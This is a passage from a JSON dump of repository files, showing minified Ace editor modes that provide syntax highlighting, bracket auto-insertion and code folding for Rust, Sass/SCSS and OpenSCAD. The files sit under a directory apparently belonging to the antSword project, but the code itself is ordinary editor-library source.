RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/rust\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/rust_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./rust_highlight_rules\").RustHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/rust\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-sass.js",
    "content": "ace.define(\"ace/mode/scss_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){var e=i.arrayToMap(function(){var e=\"-webkit-|-moz-|-o-|-ms-|-svg-|-pie-|-khtml-\".split(\"|\"),t=\"appearance|background-clip|background-inline-policy|background-origin|background-size|binding|border-bottom-colors|border-left-colors|border-right-colors|border-top-colors|border-end|border-end-color|border-end-style|border-end-width|border-image|border-start|border-start-color|border-start-style|border-start-width|box-align|box-direction|box-flex|box-flexgroup|box-ordinal-group|box-orient|box-pack|box-sizing|column-count|column-gap|column-width|column-rule|column-rule-width|column-rule-style|column-rule-color|float-edge|font-feature-settings|font-language-override|force-broken-image-icon|image-region|margin-end|margin-start|opacity|outline|outline-color|outline-offset|outline-radius|outline-radius-bottomleft|outline-radius-bottomright|outline-radius-topleft|outline-radius-topright|outline-style|outline-width|padding-end|padding-start|stack-sizing|tab-size|text-blink|text-decoration-color|text-decoration-line|text-decoration-style|transform|transform-origin|transition|transition-delay|transition-duration|transition-property|transition-timing-function|user-focus|user-input|user-modify|user-select|window-shadow|border-radius\".split(\"|\"),n=\"azimuth|background-attachment|background-color|background-image|background-position|background-repeat|background|border-bottom-color|border-bottom-style|border-bottom-width|border-bottom|border-collapse|border-color|border-left-color|border-left-style|border-left-width|border-left|border-right-color|border-right-style|border-right-width|border-right|border-spacing|border-style|border-top-color|border-top-style|border-top-width|border-top|border-width|border|bottom|box-shadow|box-sizing|caption-side|clear|clip|color|content|counter-increment|counter-reset|cue-after|cue-before|cue|cursor|direction|display|elevation|empty-cells|float|font-family|font-size-adjust|font-size|font-stretch|font-style|font-variant|font-weight|font|height|left|letter-spacing|line-height|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|marker-offset|margin|marks|max-height|max-width|min-height|min-width|opacity|orphans|outline-color|outline-style|outline-width|outline|overflow|overflow-x|overflow-y|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page|pause-after|pause-before|pause|pitch-range|pitch|play-during|position|quotes|richness|right|size|speak-header|speak-numeral|speak-punctuation|speech-rate|speak|stress|table-layout|text-align|text-decoration|text-indent|text-shadow|text-transform|top|unicode-bidi|vertical-align|visibility|voice-family|volume|white-space|widows|width|word-spacing|z-index\".split(\"|\"),r=[];for(var i=0,s=e.length;i<s;i++)Array.prototype.push.apply(r,(e[i]+t.join(\"|\"+e[i])).split(\"|\"));return Array.prototype.push.apply(r,t),Array.prototype.push.apply(r,n),r}()),t=i.arrayToMap(\"hsl|hsla|rgb|rgba|url|attr|counter|counters|abs|adjust_color|adjust_hue|alpha|join|blue|ceil|change_color|comparable|complement|darken|desaturate|floor|grayscale|green|hue|if|invert|join|length|lighten|lightness|mix|nth|opacify|opacity|percentage|quote|red|round|saturate|saturation|scale_color|transparentize|type_of|unit|unitless|unqoute\".split(\"|\")),n=i.arrayToMap(\"absolute|all-scroll|always|armenian|auto|baseline|below|bidi-override|block|bold|bolder|border-box|both|bottom|break-all|break-word|capitalize|center|char|circle|cjk-ideographic|col-resize|collapse|content-box|crosshair|dashed|decimal-leading-zero|decimal|default|disabled|disc|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ellipsis|fixed|georgian|groove|hand|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|inactive|inherit|inline-block|inline|inset|inside|inter-ideograph|inter-word|italic|justify|katakana-iroha|katakana|keep-all|left|lighter|line-edge|line-through|line|list-item|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|medium|middle|move|n-resize|ne-resize|newspaper|no-drop|no-repeat|nw-resize|none|normal|not-allowed|nowrap|oblique|outset|outside|overline|pointer|progress|relative|repeat-x|repeat-y|repeat|right|ridge|row-resize|rtl|s-resize|scroll|se-resize|separate|small-caps|solid|square|static|strict|super|sw-resize|table-footer-group|table-header-group|tb-rl|text-bottom|text-top|text|thick|thin|top|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|zero\".split(\"|\")),r=i.arrayToMap(\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\".split(\"|\")),s=i.arrayToMap(\"@mixin|@extend|@include|@import|@media|@debug|@warn|@if|@for|@each|@while|@else|@font-face|@-webkit-keyframes|if|and|!default|module|def|end|declare\".split(\"|\")),o=i.arrayToMap(\"a|abbr|acronym|address|applet|area|article|aside|audio|b|base|basefont|bdo|big|blockquote|body|br|button|canvas|caption|center|cite|code|col|colgroup|command|datalist|dd|del|details|dfn|dir|div|dl|dt|em|embed|fieldset|figcaption|figure|font|footer|form|frame|frameset|h1|h2|h3|h4|h5|h6|head|header|hgroup|hr|html|i|iframe|img|input|ins|keygen|kbd|label|legend|li|link|map|mark|menu|meta|meter|nav|noframes|noscript|object|ol|optgroup|option|output|p|param|pre|progress|q|rp|rt|ruby|s|samp|script|section|select|small|source|span|strike|strong|style|sub|summary|sup|table|tbody|td|textarea|tfoot|th|thead|time|title|tr|tt|u|ul|var|video|wbr|xmp\".split(\"|\")),u=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\";this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:u+\"(?:em|ex|px|cm|mm|in|pt|pc|deg|rad|grad|ms|s|hz|khz|%)\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:\"constant.numeric\",regex:u},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:function(i){return e.hasOwnProperty(i.toLowerCase())?\"support.type\":s.hasOwnProperty(i)?\"keyword\":n.hasOwnProperty(i)?\"constant.language\":t.hasOwnProperty(i)?\"support.function\":r.hasOwnProperty(i.toLowerCase())?\"support.constant.color\":o.hasOwnProperty(i.toLowerCase())?\"variable.language\":\"text\"},regex:\"\\\\-?[@a-z_][@a-z0-9_\\\\-]*\"},{token:\"variable\",regex:\"[a-z_\\\\-$][a-z0-9_\\\\-$]*\\\\b\"},{token:\"variable.language\",regex:\"#[a-z0-9-_]+\"},{token:\"variable.language\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"variable.language\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{token:\"keyword.operator\",regex:\"<|>|<=|>=|==|!=|-|%|#|\\\\+|\\\\$|\\\\+|\\\\*\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{token:\"string\",regex:\".+\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{token:\"string\",regex:\".+\"}]}};r.inherits(o,s),t.ScssHighlightRules=o}),ace.define(\"ace/mode/sass_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/scss_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./scss_highlight_rules\").ScssHighlightRules,o=function(){s.call(this);var e=this.$rules.start;e[1].token==\"comment\"&&(e.splice(1,1,{onMatch:function(e,t,n){return n.unshift(this.next,-1,e.length-2,t),\"comment\"},regex:/^\\s*\\/\\*/,next:\"comment\"},{token:\"error.invalid\",regex:\"/\\\\*|[{;}]\"},{token:\"support.type\",regex:/^\\s*:[\\w\\-]+\\s/}),this.$rules.comment=[{regex:/^\\s*/,onMatch:function(e,t,n){return n[1]===-1&&(n[1]=Math.max(n[2],e.length-1)),e.length<=n[1]?(n.shift(),n.shift(),n.shift(),this.next=n.shift(),\"text\"):(this.next=\"\",\"comment\")},next:\"start\"},{defaultToken:\"comment\"}])};r.inherits(o,s),t.SassHighlightRules=o}),ace.define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),ace.define(\"ace/mode/sass\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/sass_highlight_rules\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./sass_highlight_rules\").SassHighlightRules,o=e(\"./folding/coffee\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"//\",this.$id=\"ace/mode/sass\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-scad.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/scad_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,o=e(\"./text_highlight_rules\").TextHighlightRules,u=function(){var e=this.createKeywordMapper({\"variable.language\":\"this\",keyword:\"module|if|else|for\",\"constant.language\":\"NULL\"},\"identifier\");this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\/.*$\"},s.getStartRule(\"start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:'[\"].*\\\\\\\\$',next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"string\",regex:\"['].*\\\\\\\\$\",next:\"qstring\"},{token:\"constant.numeric\",regex:\"0[xX][0-9a-fA-F]+\\\\b\"},{token:\"constant.numeric\",regex:\"[+-]?\\\\d+(?:(?:\\\\.\\\\d*)?(?:[eE][+-]?\\\\d+)?)?\\\\b\"},{token:\"constant\",regex:\"<[a-zA-Z0-9.]+>\"},{token:\"keyword\",regex:\"(?:use|include)\"},{token:e,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"!|\\\\$|%|&|\\\\*|\\\\-\\\\-|\\\\-|\\\\+\\\\+|\\\\+|~|==|=|!=|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\\\|\\\\||\\\\?\\\\:|\\\\*=|%=|\\\\+=|\\\\-=|&=|\\\\^=|\\\\b(?:in|new|delete|typeof|void)\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],qqstring:[{token:\"string\",regex:'(?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?\"',next:\"start\"},{token:\"string\",regex:\".+\"}],qstring:[{token:\"string\",regex:\"(?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?'\",next:\"start\"},{token:\"string\",regex:\".+\"}]},this.embedRules(s,\"doc-\",[s.getEndRule(\"start\")])};r.inherits(u,o),t.scadHighlightRules=u}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/scad\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/scad_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./scad_highlight_rules\").scadHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"./behaviour/cstyle\").CstyleBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var 